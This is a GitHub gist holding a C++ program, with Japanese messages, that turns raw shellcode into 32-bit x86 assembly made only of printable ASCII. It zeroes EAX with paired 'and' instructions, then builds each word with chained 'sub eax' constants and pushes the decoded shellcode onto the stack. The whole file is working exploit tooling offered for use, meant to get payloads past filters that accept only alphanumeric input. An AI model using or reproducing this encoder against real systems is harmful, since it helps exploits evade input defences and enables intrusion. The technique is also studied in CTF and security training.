Skip to content

Instantly share code, notes, and snippets.

@maze1230
Created June 5, 2015 09:31
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save maze1230/f76a5855eaa8debb8293 to your computer and use it in GitHub Desktop.
Save maze1230/f76a5855eaa8debb8293 to your computer and use it in GitHub Desktop.
create_printable_shellcode.cpp
#include <iostream>
#include <sstream>
#include <iomanip>
#include <algorithm>
#include <string>
#include <fstream>
#include <vector>
#include <random>
using namespace std;
string to_hexstring(int num);
int load_shellcode(string file_path, vector<int> *org_shellcode);
int write_shellcode(string file_path, vector<int> org_shellcode, int offset);
vector<unsigned int> to_printable(unsigned int last, unsigned int targ);
vector<unsigned int> search_elem(unsigned int last, unsigned int targ, int offset, int elem_num, unsigned int *carry);
int main(int argc, char *argv[]){
int esp_offset;
vector<int> shellcode;
if(argc < 3){
cout << "Usage: " << argv[0] << " <シェルコードを格納しているファイル> <保存先> " << endl <<
" <espの移動量(デフォルト:200)>" << endl;
return 1;
}
if(argc < 4)
esp_offset = -200;
else
esp_offset = stoi(argv[3]);
if(load_shellcode(argv[1], &shellcode)){
cout << "シェルコード読み込みエラー" << endl;
return 1;
}
cout << setfill('0');
for_each(shellcode.begin(),
shellcode.end(),
[](char byte) { cout << setw(2) << hex << (static_cast<int>(byte) & 0x000000ff) << " "; });
cout << endl;
if(write_shellcode(argv[2], shellcode, esp_offset)){
cout << "シェルコード書き込みエラー" << endl;
return 1;
}
return 0;
}
string to_hexstring(int num){
stringstream ss;
ss << setfill('0');
ss << setw(2) << hex << (num & 0x000000ff);
return ss.str();
}
int load_shellcode(string file_path, vector<int> *org_shellcode){
char byte;
ifstream ifs(file_path, ios::in | ios::binary);
if(ifs == NULL)
return 1;
while(!ifs.eof()){
ifs.read(&byte, 1);
org_shellcode->push_back(static_cast<int>(byte));
}
org_shellcode->pop_back();
reverse(org_shellcode->begin(), org_shellcode->end());
while(org_shellcode->size()%4){
org_shellcode->push_back('\x90');
}
for(int i = 0;i < 4;i++){
org_shellcode->push_back('\x90');
}
return 0;
}
int write_shellcode(string file_path, vector<int> org_shellcode, int offset){
string last, targ("00000000");
vector<unsigned int> esp_offset;
vector<unsigned int> course;
ofstream ofs(file_path, ios::out);
if(ofs == NULL)
return 1;
if(offset > 0)
esp_offset = to_printable(0, -1 * offset);
else
esp_offset = to_printable(offset, 0);
ofs << "BITS 32" << endl;
ofs << "push esp" << endl;
ofs << "pop eax" << endl;
for(auto a : esp_offset){
if(a != 0)
ofs << "sub eax, 0x" << hex << a << endl;
}
ofs << "push eax" << endl;
ofs << "pop esp" << endl;
ofs << "and eax, 0x454e4f4a" << endl;
ofs << "and eax, 0x3a313035" << endl << endl;
for(int i = 0;i < org_shellcode.size();i=i+4){
last = targ;
targ = to_hexstring(org_shellcode[i]);
targ += to_hexstring(org_shellcode[i+1]);
targ += to_hexstring(org_shellcode[i+2]);
targ += to_hexstring(org_shellcode[i+3]);
course = to_printable(stoul(last, nullptr, 16), stoul(targ, nullptr, 16));
for(auto elem : course){
if(elem != 0)
ofs << "sub eax, 0x" << hex << elem << endl;
}
ofs << "push eax" << endl;
}
for(int i = 0;i < 20;i++){
ofs << "push eax" << endl;
}
return 0;
}
vector<unsigned int> to_printable(unsigned int last, unsigned int targ){
int success_byte = 0;
unsigned int result; // elemをすべて足したものを入れる変数
unsigned int carry = 0;
vector<unsigned int> byte;
vector<unsigned int> elem(4, 0);
for(int a = 1;a < 5;a++){
success_byte = carry = 0;
fill(elem.begin(), elem.end(), 0);
for(int z = 0;z < 4;z++){
byte = search_elem(last, targ, z, a, &carry);
if(byte.size() != 0){
for(int i = 0;i < a;i++){
elem[i] = elem[i] | (byte[i] << z*8);
}
success_byte++;
result = targ + elem[0] + elem[1] + elem[2] + elem[3];
if(success_byte == 4){
if(result != last)
continue;
return elem;
}
}
}
}
return elem;
}
vector<unsigned int> search_elem(unsigned int last, unsigned int targ, int offset, int elem_num, unsigned int *carry){
random_device rdev;
string tmp = "%_01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-";
vector<char> printable_chr(tmp.begin(), tmp.end());
vector<unsigned int> elem;
unsigned int byte_t, byte_l, try_elem, single;
byte_t = (targ >> (offset*8)) & 0x000000ff;
byte_l = (last >> (offset*8)) & 0x000000ff;
shuffle(printable_chr.begin(), printable_chr.end(), mt19937(rdev()));
for(auto i = printable_chr.begin();i < printable_chr.end();i++){
for(auto j = printable_chr.begin();j < printable_chr.end();j++){
for(auto m = printable_chr.begin();m < printable_chr.end();m++){
for(auto n = printable_chr.begin();n < printable_chr.end();n++){
if(elem_num < 2) j = printable_chr.end();
if(elem_num < 3) m = printable_chr.end();
if(elem_num < 4) n = printable_chr.end();
try_elem = byte_t + *carry + *i + *j + *m + *n;
single = try_elem & 0x000000ff;
if(single == byte_l){
*carry = (try_elem & 0x0000ff00) >> 8;
if(i != printable_chr.end()) elem.push_back(*i);
if(j != printable_chr.end()) elem.push_back(*j);
if(m != printable_chr.end()) elem.push_back(*m);
if(n != printable_chr.end()) elem.push_back(*n);
return elem;
}
}
}
}
}
return elem;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment